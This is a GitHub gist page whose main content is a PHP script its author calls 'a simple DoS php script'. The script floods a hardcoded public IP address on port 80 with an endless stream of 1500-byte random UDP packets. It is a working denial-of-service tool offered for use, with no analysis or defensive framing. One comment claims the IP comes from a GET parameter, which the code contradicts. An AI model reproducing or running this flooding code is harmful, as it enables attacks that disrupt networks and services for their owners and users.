Skip to content

Instantly share code, notes, and snippets.

@avraampiperidis
Created June 18, 2013 20:11
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save avraampiperidis/5808867 to your computer and use it in GitHub Desktop.
Save avraampiperidis/5808867 to your computer and use it in GitHub Desktop.
a simple DoS php script.usefull only in lan.
<?php
$ip = "46.176.3.162"; // Fetch IP via GET
$socket = socket_create(AF_INET,SOCK_DGRAM,SOL_UDP); // Create sockets
if(!$socket) {
die("Unable to create sockets.");
} // Unable to create sockets
$data = "";
for($i = 0;$i < 1500; $i++){$data.= chr(rand(0,255));} // Generate random data with 1500 bytes length (limit)
while(true) //Infinite loop
{
if(!socket_sendto($socket,$data,strlen($data),0,$ip,80)){die("Unable to send sockets.");}
echo(" |.| "); // We must echo something
}
?>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment